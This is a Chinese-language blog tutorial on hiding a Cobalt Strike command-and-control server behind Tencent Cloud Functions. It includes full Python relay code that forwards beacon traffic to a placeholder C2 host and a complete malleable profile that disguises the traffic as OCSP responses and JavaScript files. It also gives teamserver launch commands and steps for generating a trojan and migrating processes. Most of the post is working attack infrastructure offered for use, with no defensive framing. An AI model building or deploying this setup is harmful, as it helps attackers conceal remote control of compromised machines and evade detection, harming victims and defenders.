返回顶部

使用腾讯云函数上线Cobalt Strike

题记

    最近买了个腾讯云使,(真香),腾讯云便宜又好用。既然买了腾讯云,当然要试试云函数上线。

环境配置

    注册腾讯云账号(API网关第一年免费)

    vps一台

    cs(我用的4.2)

云函数配置

1、进行云函数控制台

    登录腾讯云搜索云函数,点击管理控制台进行配置,第一次配置需要授权。

2、新建函数服务

3、函数名称随意,选择从头开始,环境填Python3.6,选完后下拉,把代码搞里头。

4、打码的地方填vps的地址,这里我配的https,cs上线的时候用443端口上线,http同理80,(代码在下面),填完点完成,后会弹出一个提示框点击 留在此页面。

    云函数的python代码:

# -*- coding: utf8 -*-

import json,requests,base64

def main_handler(event, context):

C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~

path=event['path']

headers=event['headers']

print(event)

if event['httpMethod'] == 'GET' :

resp=requests.get(C2+path,headers=headers,verify=False)

else:

resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)

print(resp.headers)

print(resp.content)

 

response={

"isBase64Encoded": True,

"statusCode": resp.status_code,

"headers": dict(resp.headers),

"body": str(base64.b64encode(resp.content))[2:-1]

}

return response

5、点击触发管理,创建触发器

6、配置如下,点击提交

7、点击api服务名

8、点击编辑后到达此页面,路径修改为/ ,点击下一步

9、配置如下 点击完成 后点击 发布服务

10、配置cs的profile文件,命名为win_tecent_cloud_func.profile。

set sample_name "t";

set sleeptime "3000";

set jitter "0";

set maxdns "255";

set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

 

http-get {

 

set uri "/api/x";

 

client {

header "Accept" "*/*";

metadata {

base64;

prepend "SESSIONID=";

header "Cookie";

}

}

 

server {

header "Content-Type" "application/ocsp-response";

header "content-transfer-encoding" "binary";

header "Server" "Nodejs";

output {

base64;

print;

}

}

}

http-stager {

set uri_x86 "/vue.min.js";

set uri_x64 "/bootstrap-2.min.js";

}

http-post {

set uri "/api/y";

client {

header "Accept" "*/*";

id {

base64;

prepend "JSESSION=";

header "Cookie";

}

output {

base64;

print;

}

}

 

server {

header "Content-Type" "application/ocsp-response";

header "content-transfer-encoding" "binary";

header "Connection" "keep-alive";

output {

base64;

print;

}

}

}

11、vps加载win_tecent_cloud_func.profile启动Cobalt Strike。

这里先插入停止Cobalt Strike的命令:ps -aux |grep java kill -9 pid。

启动cs:./teamserver vpsip password win_tecent_cloud_func.profile

12、将云函数的公网接口地址域名填入listener的http hosts和stager的hosts。注意端口选443,根据云函数python用的http(80)还是https(443)决定,我当时配的https。

13、生成木马并成功上线

14、配合木马进行进程迁移,迁移程序与木马同时使用云函数上线。

参考文章

    云函数隐藏C2爬坑记:http://xz.aliyun.com/t/10764

    使用腾讯云函数隐藏C2:http://blog.csdn.net/w1590191166/article/details/113826579

    云函数隐藏c2服务器:http://blog.csdn.net/weixin_44747030/article/details/122513833

posted @ 2022-02-15 17:01  11阳光  阅读(2404)  评论(0编辑  收藏  举报